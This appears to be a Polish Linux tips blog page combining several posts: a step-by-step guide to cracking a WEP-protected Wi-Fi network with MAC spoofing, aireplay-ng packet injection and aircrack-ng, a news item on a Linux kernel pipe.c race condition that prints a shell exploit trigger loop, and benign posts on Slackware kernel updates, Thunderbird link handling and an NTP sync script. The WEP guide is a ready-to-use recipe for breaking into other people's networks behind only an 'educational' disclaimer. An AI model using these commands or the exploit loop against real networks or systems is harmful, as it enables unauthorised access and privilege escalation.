Szybki atak na zabezpieczoną sieć wi-fi (WEP)

Potrzebne rzeczy:

– komputer z kartą sieciową umożliwiającą monitorowanie (np. Intel PRO/Wireless 3945ABG)
– pakiet aircrack-ng
– program macchanger
– sieć zabezpieczona WEP

Na początek trzeba ustawić kartę wi-fi w tryb monitoringu i dla ułatwienia zmienić adres mac karty
(w przykładzie karta wi-fi posiada interfejs wlan0)

ifconfig wlan0 down
macchanger ––mac 00:11:22:33:44:55 wlan0
iwconfig wlan0 mode monitor
ifconfig wlan0 up

teraz otwieramy konsolę i z roota wydajemy polecenie:

airodump-ng wlan0

wyświetli nam się lista sieci, jeżeli znajdziemy sieć która nas interesuje zabijamy program ^C
(informacje potrzebne to: BSSID i kanał)

następnie należy wydać polecenie: (gdzie za XX wpisujemy kanał, a za XX:XX:XX:XX:XX:XX bssid sieci)

airodump-ng -c XX -w wifi ––bssid XX:XX:XX:XX:XX:XX wlan0

teraz otwieramy kolejne okno konsoli i również z roota wydajemy polecenie:

aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 wlan0

teraz pakiety zapisują nam się do pliku wifi-01.cap i z niego będziemy wyciągać klucz WEP.

W tym celu w kolejnym oknie konsoli wydajemy polecenie:

aircrack-ng -b XX:XX:XX:XX:XX:XX wifi-01.cap

i czekamy na wyniki, na początku program zapewne powie ze jest za mało pakietów i że należy powtórzyć przy większej ilości, więc trzeba uzbroić się w cierpliwość.

Powyższy artykuł ma wyłącznie charakter edukacyjny.

Luka w jądrze Linux pozwala wykonać kod jako administrator.

     Okazuje się, że zawarta w kodzie kernela Linux usterka pozwalająca sprowokować wystąpienie błędu dereferencji wskaźnika pustego może zostać wykorzystana do przejęcia systemowych uprawnień administratora.
Choć na liście mailingowej poświęconej jądru Linux pierwszą oficjalną informację na temat błędu zgłosił 14 października Earl Chew, to prawo do miana znalazcy usterki rości sobie stojący za projektem grsecurity programista Brad Spengler. W wywiadzie dla brytyjskich mediów Spengler powiedział, że przed dwoma tygodniami miał już nawet gotowy exploit. Zresztą jest on również autorem exploitów dla wykrytych wcześniej błędów dereferencji wskaźnika zerowego w jądrze Linux.

Kiedy heise Security skontaktowało się z Bradem Spenglerem, ten oświadczył, że przypuszczalnie jeszcze dziś opublikuje exploit wykorzystujący opisywaną usterkę.
Problem

Zgodnie z wydanym przez programistów komunikatem usterka tkwi w komponencie odpowiedzialnym za obsługę łączy komunikacyjnych w pliku pipe.c i ujawnia się podczas korzystania z funkcji pipe_read_open(), pipe_write_open() i pipe_rdwr_open(). Błąd może wystąpić w przypadku przedwczesnego zainicjowania elementu mutex (mutual exclusion). Mamy tu zatem klasyczną sytuację wyścigu (race condition).
Obejście

Podobnie jak w przypadku wcześniejszych błędów polegających na dereferencji wskaźnika pustego w jądrze Linux, także najnowszą usterkę daje się wykorzystać tylko w sytuacji, gdy systemowa zmienna mmap_min_addr jest ustawiona na 0. Zmienna mmap_min_addr określa najniższy adres wirtualny, na który danemu procesowi wolno mapować. Jeśli jej wartość jest większa niż 0, wówczas nie zadziałają exploity bazujące na dereferencji pustego wskaźnika. Niestety, przestają wtedy działać również niektóre opensource’owe aplikacje, takie jak choćby Wine czy dosemu, więc wielu dystrybutorów (m.in. Red Hat i Debian) ustawia tę wartość domyślnie na 0.
Rozwiązanie

Lukę zamknięto na razie tylko w wydaniu Release Candidate 6 przyszłej edycji oznaczonej numerem 2.6.32.

Red Hat opublikował już uaktualnione pakiety, które eliminują usterkę. Z kolei Debian przygotował specjalny instruktaż ukazujący sposób zmiany wartości zmiennej. W Ubuntu zmienna mmap_min_addr jest ustawiona na 65535, co uniemożliwia działanie exploitów.

EXPLOIT:

while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep ‚sleep 1’ | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT=”${OUT%% *}”
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done

Źródło: heise-online.pl i securityfocus.com

Komentarz admina:
Większość dystrybucji ma domyślnie ustawione  mmap_min_addr > 0 więc exploit i tak nie zadziała.

Błyskawiczna aktualizacja kernela do najnowszej wersji z kernel.org w Slackware.

Na początek logujemy się na konto root i przechodzimy do katalogu /usr/src

su
cd /usr/src

następnie usuwamy stare dowiązanie do źródeł kernela

rm linux

teraz pora na pobranie najnowszego kernela z kernel.org (na dzień dzisiejszy 2.6.31.5)

wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.5.tar.bz2

gdy wget zakończy pracę rozpakowujemy jajko

tar -xjvf linux-2.6.31.5.tar.bz2

i tworzymy nowe dowiązanie

ln -s linux-2.6.31.5 linux

teraz przechodzimy do katalogu z kernelem i wykonujemy następujące operacje:

cd /usr/src/linux

kopiowanie obecnego configa

zcat /proc/config.gz > /usr/src/linux/.config

kompilacja, instalacja modułów, budowanie kernela, instalacja nowego kernela

make
make modules_install
make bzImage
make install

Tworzenie i instalacja nowych nagłówków kernela (kernel headers)

make headers_check
make headers_install INSTALL_HDR_PATH=/usr/include

Teraz tylko reboot i jeżeli wszystko przebiegło pomyślnie to cieszymy się nowym kernelem.

(Po instalacji kernela dla komputerów z kartami graficznymi nvidia konieczna jest ponowna instalacja sterownika)

Integracja thunderbirda z przeglądarką mozilla firefox.

W dystrybucji Slackware po zainstalowaniu thunderbirda
nie da się otworzyć odnośników w przeglądarce (brak reakcji po kliknięciu na link).
Istnieje prosty sposób aby rozwiązać ten problem.

Otwieramy do edycji plik:

freerider@niewinny:~$ nano ~/.thunderbird/xxxxxx.default/prefs.js

następnie na końcu pliku dopisujemy:

user_pref(„network.cookie.prefsMigrated”, true);
user_pref(„network.protocol-handler.app.http”, „/usr/bin/firefox”);
user_pref(„network.protocol-handler.app.https”, „/usr/bin/firefox”);

Teraz tylko restart thunderbirda i odnośniki będą otwierać sie w mozilli firefox.

Autor: Krzysztof Wnuk

Aktualizacja czasu systemowego z serwerem czasu (Public NTP)

Do poprawnego działania skryptu wymagany jest zainstalowany pakiet ntp.
Na początek tworzymy sobie pusty plik ntp.sh (touch ntp.sh)
i nadajemy mu parametr wykonywalności (chmod +x ntp.sh).
Następnie otwieramy plik ntp.sh w swoim ulubionym edytorze i wpisujemy do niego:

#!/bin/sh

SERVER=”193.138.118.2″
LOG=”/var/log/messages”
DOM=`date +%d`
DON=`date +%b`
NOW=`date +%X`

if
/usr/sbin/ntpdate -u $SERVER ; then
/sbin/hwclock –systohc
fi

echo „$DON $DOM $NOW – Czas zostal zaaktualizowany z serwera $SERVER” >> $LOG

zapisujemy i wychodzimy z edytora.
Teraz można skrypt ntp.sh odpalić ręcznie (z roota  ./ntp.sh) lub przenieść
do katalogu cron.(daily|weekly|monthly) aby byl wywoływany z crona raz na dzień, tydzień lub miesiąc.

gotowy skrypt można pobrać tutaj

Autor: Krzysztof Wnuk